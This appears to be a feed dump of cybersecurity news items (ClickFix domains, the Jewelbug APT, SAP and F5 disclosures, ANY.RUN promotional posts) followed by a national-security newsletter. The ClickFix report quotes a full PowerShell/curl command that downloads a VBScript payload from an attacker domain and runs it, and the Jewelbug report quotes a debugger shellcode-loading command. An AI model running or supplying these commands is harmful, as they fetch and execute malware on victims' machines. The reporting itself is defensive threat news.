• When your alert queue seems endless, it might feel like threat intelligence is more of a curse than a blessing. But taking the right approach to it will help increase detection rates without stretching resources thin.

    Top-performing SOC analysts don’t necessarily go through more alerts than others; they simply know where to look for reliable data. That’s what allows them to achieve higher results without the need to overwork. They go another way, and so can you.

    What Causes Alert Overload in the First Place

    It’s a myth that more data equals better efficiency. Thousands of alerts, most of which are false positives, lack of context for prioritization of incidents, and too much manual work: this is a common struggle for many SOCs.

    The overwhelm of Tier 1 analysts leads to alert fatigue, as well as unnecessary escalations. The entire team experiences its negative effects: missed alerts, slower MTTR, and burnout across the board. 

    To sidestep these challenges, you need a source of intel that works in your favor. It makes all the difference and helps skyrocket detection rates with lesser load.

    What to Look for in Threat Intelligence Sources

    Threat intelligence sources that stand out are:

    • Noise-free

    They might provide less data, but if this is the result of filtering, it’s a huge pro, not a con. Fewer false positives mean less work and better focus on real threats.

    • Trustworthy

    Look for feeds that provide indicators coming from the very core of malicious configurations rather than from third-party sources. This, once again, guarantees that you get reliable information, not outdated and irrelevant info.

    • Context-fueled

    Not all threat intelligence is made equal. While most feeds provide just a collection of feeds, others feature threat context, which helps accelerate triage by providing a deeper visibility into threats.

    • Timely

    Delayed alerts are practically useless. The less time it takes for an indicator to make it to the feed, the better. Solutions with real-time updates should be your go-to if you want to stay on top of things.

    Analysts Stay Ahead with ANY.RUN Threat Intelligence Feeds

    There aren’t many threat intelligence feeds that fit these requirements. Accurate and fresh data with little to no false positives isn’t easy to obtain: it requires access to unique threat data.

    ANY.RUN’s Threat Intelligence Feeds are powered by a global network of 15K SOC teams and 500K malware analysts who continuously provide live attack data, which then gets filtered and delivered to users’ systems. This means that every indicator is backed by an actual threat investigation, giving you confidence and real-world insights.

    TI Feeds by ANY.RUN keep your systems up-to-date with exclusive IOCs in real time

    Detect more threats with less noise and tap into live malware analysis data -> Try TI Feeds in our SOC

    The results TI Feeds users see:

    • Decreased workload: Indicators from TI Feeds enrich your SIEM, EDR/XDR, and other systems for a smoother workflow. As a result, the case load for Tier 1 analysts lowers by 20%.
    • Wider coverage: 99% of IOCs in TI Feeds are unique and can’t be found elsewhere, so you automatically extend your monitoring range.
    • Constant updates: No more missed threats and false alerts caused by outdated indicators.
    • Actionability: High-confidence threat intelligence fueled with context gives you a hand in classifying and prioritizing alerts for targeted action.

    Conclusion 

    Analysts increase their detection rates using validated intelligence that enriches their system in real time, shortly after a threat emerges. TI Feeds with wide coverage and deep context supplied by reliable sources give SOC teams an upper hand in triage and cut their workload for better overall efficiency.

    The post How SOCs Detect More Threats without Alert Overload appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • In early 2025, a novel campaign attributed to the Chinese APT group known as Jewelbug began targeting an IT service provider in Russia.

    The attackers infiltrated build systems and code repositories, laying the groundwork for a potential software supply chain compromise.

    Initial access was achieved via a renamed Microsoft Console Debugger binary, “7zup.exe,” which executed shellcode and bypassed application whitelisting.

    This stealthy approach allowed the adversary to maintain presence on the network from January through May 2025.

    Symantec analysts noted that the use of a signed Microsoft binary for malicious purposes is a hallmark of living-off-the-land tactics.

    By renaming cdb[.]exe and leveraging its debugging capabilities, the attackers could launch executables, run arbitrary DLLs, and terminate security processes without raising immediate alarms.

    Subsequent activity included credential dumping, privilege elevation via scheduled tasks, and clearing of Windows Event Logs to cover their tracks.

    Data exfiltration was conducted through Yandex Cloud, a legitimate Russian service unlikely to be blocked by local enterprises.

    A custom payload, “yandex2.exe,” automated the upload of sensitive files, leveraging the cloud platform’s trustworthiness to blend in with normal traffic.

    The attackers specifically targeted high-value assets stored on build servers, indicating an espionage-driven objective focused on source code and proprietary software updates.

    Beyond exfiltration, additional post-compromise actions were observed. The threat actors created persistent scheduled tasks using schtasks and manipulated registry settings to disable security restrictions.

    They also attempted lateral movement by deploying tools such as Mimikatz for LSASS memory dumping and Fast Reverse Proxy for exposing internal servers to the internet.

    Infection Mechanism

    The initial compromise pivoted on a seemingly innocuous Microsoft-signed binary. The attackers dropped the renamed Console Debugger executable into the user profile directory and invoked it with the following command:

    C:\Users\Public\7zup.exe -c ".shellcode 0x1000,LoadShellcode; g;" 

    This invocation injects shellcode directly into memory, bypassing signature checks and application whitelisting. By chaining debugger commands, the malware allocated executable memory regions, loaded encrypted payloads, and transferred execution to malicious code.

    Through this injection technique, Jewelbug achieved a silent foothold, enabling subsequent rounds of credential harvesting and data siphoning.

    The reliance on dual-use tools like cdb[.]exe, combined with legitimate cloud channels, underscores the group’s sophisticated evasion methods and long-term espionage objectives.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Chinese APT Group IT Service Provider Leveraging Microsoft Console Debugger to Exfiltrate Data appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Microsoft’s latest security updates have triggered synchronization failures in Active Directory environments running on Windows Server 2025.

    The issue, confirmed on October 14, 2025, affects directory synchronization for large security groups, potentially halting critical identity management processes across enterprise networks.

    The problem stems from the September 2025 Windows security update, KB5065426, which targets OS Build 26100.6584.

    Applications relying on the Active Directory directory synchronization (DirSync) control, such as Microsoft Entra Connect Sync, fail to replicate AD security groups with more than 10,000 members fully.

    This incomplete sync occurs exclusively on Windows Server 2025 after applying the update or subsequent patches released in October. Microsoft opened the investigation ticket on October 14 at 5:49 PM PT, updating it hours later to confirm the scope.

    Active Directory Sync Issues

    The flaw disrupts on-premises Active Directory Domain Services (AD DS), a cornerstone for hybrid cloud setups where Entra ID (formerly Azure AD) integrates with local directories.

    Large organizations, particularly in finance, healthcare, and government sectors, with extensive user bases, face significant challenges.

    Incomplete group synchronization can lead to access denials, compliance risks, and operational downtime as users lose permissions for shared resources like email lists or file servers.

    Experts note this isn’t the first hiccup in Microsoft’s patch cycle; similar AD issues have cropped up in prior updates, underscoring the challenges of securing evolving server architectures.

    With Windows Server 2025 still fresh from its 2024 release, early adopters are particularly vulnerable because rollback options are limited, increasing the risk of security gaps from unpatched vulnerabilities.

    For immediate relief, affected users can implement a registry tweak to disable the problematic feature. Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Policies\Microsoft\FeatureManagement\Overrides, create a DWORD value named 2362988687, and set it to 0. Microsoft warns of registry modification risks, advising backups and caution—potentially requiring OS reinstalls if mishandled.

    The company is actively probing the issue and promises a fix in an upcoming Windows update. No client platforms are impacted, limiting exposure to server environments.

    IT teams should monitor Microsoft’s security update guide for timelines and weigh the registry fix against ongoing threats like ransomware that these patches address.

    As enterprises race to patch amid rising cyber threats, this glitch highlights the tightrope of balancing security and stability. Administrators are urged to test in staging environments before production rollout.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Microsoft October 2025 Security Update Causes Active Directory Sync Issues on Windows Server 2025 appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • SAP released its October 2025 Security Patch Day fixes, addressing 13 new vulnerabilities and updating four prior notes, with several critical flaws in NetWeaver enabling attackers to sidestep authorization and run arbitrary operating system commands on affected systems.

    Among the most alarming is CVE-2025-42944, an insecure deserialization issue in SAP NetWeaver AS Java’s RMI-P4 module, rated at a perfect CVSS score of 10.0 for its potential to grant unauthenticated remote attackers full control without any login credentials.

    This vulnerability, first patched in September but now bolstered with extra safeguards, underscores the ongoing risks to SAP environments that power global business operations, potentially leading to data breaches, ransomware deployment, or complete system takeovers.​

    Critical Deserialization Flaw Allows Remote Takeover

    The core threat stems from how SAP NetWeaver handles serialized Java objects over its proprietary RMI-P4 protocol, typically exposed on ports like 50004 or 50014, where insufficient validation allows malicious payloads to be deserialized and executed directly on the server.

    Attackers can craft these payloads remotely over the network, bypassing all authentication checks and triggering arbitrary OS command execution with the privileges of the NetWeaver process, which often runs with elevated access in enterprise setups.

    Onapsis Research Labs collaborated with SAP to identify this risk, noting that exploitation requires no user interaction and could compromise confidentiality, integrity, and availability across connected SAP landscapes.

    Affected versions include SERVERCORE 7.50, and while no public proofs-of-concept exist yet, the flaw’s simplicity makes it a prime target for threat actors scanning for unpatched systems.​

    SAP’s October update to notes 3660659 and 3634501 introduces a JVM-wide filter (jdk.serialFilter) to block dangerous class deserialization, dividing protections into mandatory and optional lists developed with security experts to prevent gadget chains that lead to code execution.

    However, complementary issues amplify the danger, such as CVE-2025-31331, an authorization bypass in older NetWeaver versions (SAP_ABA 700 to 75I), allowing low-privileged users to access restricted functions and potentially escalate to command injection.

    Another update to note 3441087 covers missing checks in SAP S/4HANA’s purchase contract management, while CVE-2025-42901 enables code injection via the BAPI Browser in ABAP servers, letting authenticated users alter code flows and expose sensitive data [query].

    These flaws, with CVSS scores from 4.3 to 5.4, highlight persistent gaps in access controls that could chain with deserialization exploits for deeper intrusions.​

    Beyond NetWeaver, the patch day tackles related high-severity issues like CVE-2025-42937, a 9.8-rated directory traversal in SAP Print Service versions 8.00 and 8.10, enabling unauthenticated file overwrites, and CVE-2025-42910, a file upload vulnerability in Supplier Relationship Management that escalates to system compromise.

    CVE IDNote IDProductAffected VersionsSeverityCVSS ScoreDescription
    CVE-2025-429443660659, 3634501 (update)SAP NetWeaver AS Java (RMI-P4)SERVERCORE 7.50Critical10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)Insecure deserialization allowing unauthenticated remote code execution via malicious payloads on open ports.
    CVE-2025-429373630595SAP Print ServiceSAPSPRINT 8.00, 8.10Critical9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)Directory traversal due to insufficient path validation, enabling unauthenticated file overwrites .
    CVE-2025-429103647332SAP Supplier Relationship ManagementSRMNXP01 100, 150Critical9.0 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)Unrestricted file upload allowing authenticated users with user interaction to achieve system compromise .
    CVE-2025-51153664466SAP Commerce Cloud (Search and Navigation)HY_COM 2205, COM_CLOUD 2211, 2211-JDK21High7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)Denial of service via resource exhaustion in search functionality.
    CVE-2025-489133658838SAP Data Hub Integration SuiteCX_DATAHUB_INT_PACK 2205High7.1 (AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)Security misconfiguration exposing sensitive data over adjacent networks with user interaction .
    CVE-2025-00593503138 (update)SAP NetWeaver Application Server ABAP (SAP GUI for HTML)KRNL64UC 7.53, KERNEL 7.53, 7.54, 7.77, 7.89, 7.93, 9.12, 9.14Medium6.0 (AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N)Information disclosure of client-side input history to high-privilege local attackers.
    CVE-2025-429013652788SAP Application Server for ABAP (BAPI Browser)SAP_BASIS 700, 701, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757, 758, 816Medium5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)Code injection allowing low-privileged users to alter code execution flows.
    CVE-2025-429083642021SAP NetWeaver Application Server for ABAPKRNL64UC 7.53, KERNEL 7.53, 7.54, 7.77, 7.89, 7.93, 9.16Medium5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)Cross-site request forgery via inconsistent session handling, bypassing first-screen checks .
    CVE-2025-429843441087 (update)SAP S/4HANA (Manage Central Purchase Contract)S4CORE 106, 107, 108Medium5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L)Missing authorization checks allowing low-privileged access to sensitive procurement functions.
    CVE-2025-429063634724SAP Commerce CloudCOM_CLOUD 2211Medium5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)Directory traversal exposing limited file reads without authentication.
    CVE-2025-429023627308SAP NetWeaver AS ABAP and ABAP PlatformKRNL64NUC 7.22, 7.22EXT, KRNL64UC 7.22, 7.22EXT, 7.53; KERNEL 7.22, 7.53, 7.54, 7.77, 7.89, 7.93, 9.14, 9.15, 9.16Medium5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)Memory corruption in ticket verification leading to unauthenticated denial of service.
    CVE-2025-429393625683SAP S/4HANA (Manage Processing Rules for Bank Statements)S4CORE 104, 105, 106, 107, 108, 109Medium4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)Missing authorization allowing low-privileged users to manipulate bank statement rules .
    CVE-2025-313313577131 (update)SAP NetWeaverSAP_ABA 700, 701, 702, 731, 740, 750, 751, 752, 75C, 75D, 75E, 75F, 75G, 75H, 75IMedium4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)Authorization bypass enabling low-privileged access to restricted NetWeaver functions.
    CVE-2025-429033656781SAP Financial Service Claims ManagementINSURANCE 803, 804, 805, 806; S4CEXT 107, 108, 109Medium4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)User enumeration and sensitive data exposure via RFC functions .
    CVE-2025-316723617142SAP BusinessObjects (Web Intelligence and Platform Search)ENTERPRISE 430, 2025, 2027Low3.5 (AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N)User enumeration and sensitive data exposure via RFC functions.
    CVE-2025-429093643871SAP Cloud Appliance Library AppliancesTITANIUM_WEBAPP 4.0Low3.0 (AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N)Deserialization flaw allowing low-privileged users with interaction to cause integrity issues.

    Security firms urge immediate patching, emphasizing multi-layered defenses given the rising exploits in SAP ecosystems, as seen in recent zero-days.

    SAP advises customers to prioritize these updates via the Support Portal to safeguard against evolving threats in mission-critical applications.​

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post New SAP NetWeaver Vulnerabilities Allow Attackers to Bypass Authorization and Execute OS Commands appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A threat actor with ties to China has been attributed to a five-month-long intrusion targeting a Russian IT service provider, marking the hacking group’s expansion to the country beyond Southeast Asia and South America. The activity, which took place from January to May 2025, has been attributed by Broadcom-owned Symantec to a threat actor it tracks as Jewelbug, which it said overlaps with

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • There’s a moment, right after a new alert hits, when the room holds its breath. Everyone waits for context; is it real, is it noise, is it already too late? 

    In those seconds, the difference between an average SOC and a great one is obvious. Some scramble for answers; others move in sync, sharing context fast and turning confusion into clarity before the panic begins.

    That level of control doesn’t come from luck but a few simple rules that keep elite SOCs fast, focused, and ahead of the game.

    Rule #1: Speed Turns Panic into Precision

    Speed changes everything. When threats hit, fast visibility turns chaos into clarity. The faster a team understands what’s happening, the faster it can stop the spread, cut damage, and regain control.

    That’s why most modern SOCs rely on cloud-based sandboxes like ANY.RUN to make speed their first line of defense. There’s no need to deploy or maintain virtual machines; analysis launches in seconds, giving teams an immediate look into the full attack chain.

    LockBit attack fully analyzed inside ANY.RUN’s cloud sandbox

    The verdict of most analyses is ready in under 60 seconds, providing actionable insight long before traditional tools even finish scanning. 

    For instance, in one recent analysis, a LockBit attack was fully exposed in just 33 seconds; complete with related IOCs, mapped TTPs, behavior details, and process trees.

    View LockBit attack exposed fully in 30 seconds

    30 seconds required from ANY.RUN sandbox to show the malicious verdict 

    When detection is this fast, panic never has a chance to set in. Teams can shift instantly from reaction to strategy, understanding the threat, planning the response, and staying firmly in control.

    Turn speed into strategy; connect with ANY.RUN and see how instant detection powers stronger, faster decisions across your SOC: Talk to ANY.RUN Experts

    Rule #2: Threat Detection is a Team Sport

    Even the best analysts can’t detect everything alone. When communication breaks down and teams work in silos, critical context slips away; alerts are missed, work gets repeated, and investigations slow to a crawl.

    That’s why collaboration has become a core part of modern SOC performance. Inside the ANY.RUN sandbox, the Teamwork feature lets analysts join the same live workspace, share results in real time, and coordinate across roles without switching tools. Team leads can assign tasks, monitor progress, and track productivity; all from a single interface that keeps the team aligned, no matter the time zone.

    Team management displayed inside ANY.RUN sandbox

    The result is a SOC that thinks and moves as one. Every analyst knows their focus, every lead sees the full picture, and decisions happen without hesitation. That’s what real teamwork looks like, and that’s how strong threat detection actually happens.

    Rule #3: Automate What Slows You Down

    Every SOC knows the feeling; too many alerts, too many clicks, not enough time. Analysts lose hours on repetitive actions: opening files, running scripts, clicking through pop-ups, or solving CAPTCHAs just to trigger hidden payloads.

    With Automated Interactivity inside the ANY.RUN sandbox, all those steps happen automatically. The system opens malicious links hidden behind QR codes, interacts with fake installers, solves CAPTCHAs, and performs other routine actions; no human input needed. The sandbox handles these interactions on its own, exposing every stage of the attack chain in a fraction of the time.

    ANY.RUN sandbox solving CAPTCHA automatically, revealing the full attack chain in 20 seconds

    The benefit? Analysts skip the busywork and jump straight to insight. Faster detection, cleaner data, and more time for the investigations that require human judgment. Automation clears the path for cybersecurity professionals to do their best work, saving enormous time.

    Rule #4: Go Hands-On to Expose Hidden Threats

    Even the best detection tools miss things. False negatives happen all the time; a file marked “safe” can still hide malicious behavior deep in its code or trigger only under specific conditions.

    That’s why elite SOCs never rely on automation alone. When something looks suspicious, analysts dig deeper in an interactive environment, where they can open files, click buttons, follow links, and provoke real behavior in real time. 

    Interacting with the fake Microsoft page inside ANY.RUN sandbox

    Inside the ANY.RUN sandbox, this hands-on control turns static analysis into active discovery, revealing payloads, persistence mechanisms, and hidden network activity that automated scanners overlook.

    Automation gives you speed; hands-on gives you certainty. It’s the balance between the two that stops real damage.

    Rule #5: Train Analysts Through Real Experience

    You can’t train great analysts on theory alone. Real skill comes from seeing how threats behave, testing hypotheses, and learning through direct experience, not static examples or outdated labs.

    That’s why modern SOCs use sandboxes to turn real-world incidents into learning opportunities. Inside the ANY.RUN sandbox, junior analysts can safely explore live samples, experiment with behavior, and build intuition that no textbook can teach. 

    Meanwhile, through Teamwork Management features, managers can observe progress in real time, tracking how analysts investigate, collaborate, and grow with each session.

    Tracking team members’ productivity inside ANY.RUN’s sandbox

    The result is faster onboarding, stronger retention, and a team that learns from actual threats instead of simulated ones. It saves both time and training costs while building real, lasting expertise across the SOC.

    Build the SOC That Sets the Standard

    When these five rules become part of your daily SOC workflow, results follow fast.
    Teams that blend automation, collaboration, and hands-on analysis work smarter, with measurable improvements across every tier.

    • Up to 58% more threats identified: Detect attacks that bypass standard defenses with interactive analysis and data from 15K+ global businesses.
    • 88% of attacks visible within 60 seconds: See live behavior instantly, automate detection, and enrich alerts with key indicators.
    • 94% of users report faster triage: Collect IOCs and TTPs, simplify assessments, and act faster with real threat data.
    • 95% of SOC teams speed up investigations: Collaborate in real time, handle more alerts, and track performance in one workspace.
    • Up to 20% lower Tier 1 workload and 30% fewer escalations: Reduce manual effort, remove hardware costs, and eliminate alert fatigue.

    Contact ANY.RUN experts to bring these results to your team and build a SOC that truly sets the standard.

    The post 5 Must-Follow Rules of Every Elite SOC: CISO’s Checklist appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • U.S. cybersecurity company F5 on Wednesday disclosed that unidentified threat actors broke into its systems and stole files containing some of BIG-IP’s source code and information related to undisclosed vulnerabilities in the product. It attributed the activity to a “highly sophisticated nation-state threat actor,” adding the adversary maintained long-term, persistent access to its network. The

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • F5 Networks confirmed that a sophisticated nation-state threat actor infiltrated its systems, exfiltrating proprietary BIG-IP source code and confidential vulnerability information. The incident, which began in August 2025, targeted F5’s product development and engineering knowledge platforms, prompting an immediate response and a suite of mitigation efforts to safeguard customers and restore trust. Persistent Access Uncovered […]

    The post Hackers Breach F5 and Stole BIG-IP Source Code and Undisclosed Vulnerability Data appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • In mid-2025, Lab539 researchers observed an unexpected surge in a novel browser-based malware campaign dubbed “ClickFix.”

    Emerging quietly in July, the threat quickly expanded its reach by registering over 13,000 unique domains designed to lure users into executing malicious commands on their own devices.

    The attack leverages compromised or low-cost hosting infrastructure, including a significant portion behind Cloudflare, to deliver payloads via deceptively benign web prompts.

    Users encountering these sites are first challenged with a CAPTCHA before being instructed to run a command from their clipboard, granting attackers the ability to deploy arbitrary scripts or executables.

    Initially, the volume of ClickFix domains appeared unremarkable amid the vast sea of adversary activity.

    However, by mid-August, a remarkable spike raised alarms across multiple threat-intelligence platforms.

    Lab539 analysts noted the sudden proliferation of front-end sites that frontload malware delivery under the guise of “verification” steps, a hallmark that distinguishes ClickFix from more traditional phishing or watering-hole attacks.

    The scale of domain registration suggested an automated provisioning pipeline, likely fueled by pay-as-you-go registrar services and resold hosting, rather than the manual setup favored by advanced persistent threat actors.

    Despite Cloudflare’s dominance among hosting providers, accounting for about 24% of observed ClickFix domains, the campaign’s long tail of nearly 500 other providers reveals a strategic use of diverse infrastructure to evade simple blocklists.

    Regional VPS services in the United States, Germany, Indonesia, and Brazil feature prominently, reflecting both global distribution and opportunistic compromise of third-party servers.

    In many cases, attackers repurpose stale or misconfigured subdomains—such as decades-old academic or municipal hosts—to blend malicious traffic with legitimate DNS records.

    ClickFix prompt encountered by victims (Source – Lab539)

    Infection Mechanism and Payload Delivery

    The core infection mechanism relies on leveraging the browser’s clipboard API to plant a command that the user unwittingly pastes into a terminal.

    Once a CAPTCHA completes, the site writes a PowerShell command sequence like the following to the clipboard:-

    cmd /c start /min powershell -Command curl.exe -s https://cf-unstable.mediacaptcha.txt -o $env:TEMP\captcha.vbs; Start-Process $env:TEMP\captcha.vbs

    This single line downloads and executes a VBScript payload without further user interaction, exemplifying the campaign’s emphasis on social engineering over exploit chaining.

    Variations include direct executable downloads and obfuscated scripts, indicating multiple operators employing the ClickFix framework.

    The ubiquity of this mechanism underscores how minimal technical sophistication can still yield large-scale intrusion opportunities when combined with automated domain registration and global hosting assets.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Hackers Registered 13,000+ Unique Domains and Leverages Cloudflare to Launch Clickfix Attacks appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The U.S. military destroyed another boat in the waters around Latin America, killing six people on board the vessel, President Trump announced Tuesday on social media. The episode marks the sixth known watercraft destroyed by U.S. forces in the region since Trump greenlit the first attack early last month. 

    As before, Trump alleges those on the boat were affiliated with “a Designated Terrorist Organization (DTO) conducting narcotrafficking…off the Coast of Venezuela,” he wrote online Tuesday. “Intelligence confirmed the vessel was trafficking narcotics, was associated with illicit narcoterrorist networks, and was transiting along a known DTO route,” Trump said. 

    Reminder: It still appears Trump does not have the authority, under Article II of the Constitution, to order these killings, former State Department counsel Brian Finucane explained as part of a recent longer discussion with colleagues at Just Security. To date, more than two dozen people have been killed in these U.S. attacks. 

    National Guard soldiers are patrolling Beale Street as immigration enforcers have been conducting “mass pullovers” in Memphis while other Guard forces have been spotted “walking along the Mississippi River, and visiting the Bass Pro Shops at the Pyramid,” the local Commercial Appeal reported Tuesday. 

    The Guard presence began on Friday, and the city’s mayor says it’s unclear how long the soldiers will patrol Memphis. The Guard’s domestic deployment is ostensibly part of the Trump administration’s alleged effort to crack down on crime, though some critics view it more as a means of accelerating immigration enforcement. 

    Five other states have timelines for their domestic Guard deployments to Washington, D.C. Eight states have sent a total of 2,300 soldiers to the nation’s capital at Trump’s request—which was based on false and exaggerated crime statistics. Those states include Georgia, Mississippi, South Carolina, Ohio, West Virginia, Alabama, Louisiana and South Dakota. South Carolina expects to end their DC deployment by the end of the month, while Ohio, Georgia, Mississippi, and West Virginia are targeting the end of November for a withdrawal of their forces from Washington, according to the Associated Press. (Alabama, Louisiana and South Dakota have not yet provided an end date.)

    Mounting costs: The Guard “deployments could wind up costing Americans roughly two-thirds of a billion dollars,” Marc Novicoff Friday for the Atlantic. In addition to Washington, D.C., and Los Angeles, “Tens of millions of dollars—perhaps hundreds of millions in total—will be spent on deployments to Chicago, Portland, and Memphis, if Trump’s plans for those cities proceed,” Novicoff writes, and puts it all together to note, “it is hard to think of a less efficient way of doing so than shifting funds away from violence prevention and local law enforcement and toward troops who stand in low-crime areas and don’t make arrests.”

    Why bring it up: “These expenses would seem to undermine an administration that has claimed to go after ‘waste, fraud, and abuse’ wherever possible…if that’s the goal, the method the administration has settled on is highly inefficient,” Novicoff writes. And ICYMI, “While some types of crime—especially gun offenses—have become less frequent since Trump ordered troops into the city, overall violent crime hasn't changed that much” since the troops arrived in Washington two months ago, Reuters reported 10 days ago. 

    We have a few new snapshots of Guard forces on the job in Washington thanks to some police-report sleuthing this week by Brad Heath of Reuters. For example, on October 5, “a 7-11 manager flagged down soldiers to report that a man who tried to pay $2 for $4.50 worth of pizza. He also threw pizza at the manager, then his friend stole two slices of pizza. Soldiers pursued and detained both accused pizza thieves.” 

    The next day, “police approached a man suspected of kicking the glass door of a McDonald's until it broke. He tried to walk away from the officers, but stopped when National Guardsmen cut him off,” Heath writes. And the week before that, “soldiers from West Virginia patrolling D.C.'s Navy Yard area observed a man masturbating in public. The soldiers ‘advised [him] to stop.’ Police officers arrested him a little while later after they said they saw him peeing in front of a restaurant.” Read over two more episodes, here

    Related reading: 


    Welcome to this Wednesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1990, Soviet Union leader Mikhail Gorbachev was awarded the Nobel Peace Prize.

    AUSA developments

    China is ‘pacing threat,’ Army Secretary says—while backing Trump’s homeland defense push. “I think my understanding of the administration's priorities and the Secretary of War is [that] China is the pacing threat,” Army Secretary Dan Driscoll said on the sidelines of the annual Association of the U.S. Army’s conference in Washington, D.C. 

    But Driscoll stopped short of calling China the top priority, adding that “we are also, at the same time, in parallel, executing on providing security and maintaining what the president has done at the border.” Strategic documents have detailed the shift in military focus from China to border enforcement, countering drug trafficking, and backing the Department of Homeland Security. Defense One’s Thomas Novelly has more from that sidelines conversation, here.

    More Defense One reporting from AUSA:

    Pentagon media policy

    Today’s the deadline for most Pentagon reporters to sign an agreement accepting unprecedented restrictions on covering the military or turn in their badges. Washington Post: “Fox News, along with ABC, CBS and NBC, did not sign the Defense Department’s press policy by Tuesday’s deadline, having earlier in the day denounced the new regulations in a joint statement that included CNN, which previously said it would not sign.

    Fox: “Today, we join virtually every other news organization in declining to agree to the Pentagon’s new requirements, which would restrict journalists’ ability to keep the nation and the world informed of important national security issues,” the news networks wrote. “The policy is without precedent and threatens core journalistic protections. We will continue to cover the U.S. military as each of our organizations has done for many decades, upholding the principles of a free and independent press.” The Post’s article includes a list of dozens of media outlets and their stances; only One America News has declared it will sign.

    Defense One and seven other defense trade publications are declining to sign; they issued this joint statement on Wednesday morning. Trump, who last week seemed lukewarm on Hegseth’s new policy, seemed more supportive on Tuesday, and even suggested he could move the White House press corps “across the street.” 

    And Hegseth repeated a misleading statement about the current rules for reporters. “Maybe the policy should look like the White House, or other military installations where you have to wear a badge that identifies that you’re press, or you can’t just roam anywhere you want,” he said; in fact, reporters are required to wear badges in the Pentagon like anyone else, and may not enter restricted areas. Mediate has more, here.  

    Backgrounder: Read a bit more about Defense Secretary Pete “Hegseth’s legal fixer at the center of [the] Pentagon’s new media restrictions,” via Dan Lamothe’s Wednesday reporting at the Washington Post.

    In solidarity with the Pentagon Press Corps, Clayton Weimers, the U.S.-based executive director of Reporters Without Borders, released a statement Tuesday writing, “On a daily basis, the US military is responsible for the lives of millions of Americans, combat operations around the world, and nearly a trillion dollars of US taxpayer money. The Pentagon cannot evade accountability or criticism by crushing the independence of the media in clear violation of the First Amendment.”

    Sen. Jack Reed, D-R.I., and ranking member of the Armed Services Committee: “A free and fair press is essential to our nation, but Secretary Hegseth is attempting to shut down independent reporting with these coercive restrictions…Hegseth and his team have missed the mark legally and morally, and they should immediately abandon this policy and restore the Pentagon’s longstanding commitment to independent press access. The Secretary of Defense should lead by example with seriousness and integrity, not secrecy and suspicion.”

    Big-picture analysis: “What Trump and Hegseth are doing…represents a threat to democracy—and a profound test for service members, who do not swear a personal loyalty oath to the president but to ‘support and defend the Constitution of the United States,’” says Max Boot of the Council on Foreign Relations, writing Wednesday in Foreign Affairs “By trying to politicize the military, the Trump administration is breaking trust with the men and women in uniform and driving talented leaders out of the force. The dearth of military pushback, then, begs the question of how effectively Trump and Hegseth have cleaned house, rooting out those who might disagree with them.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶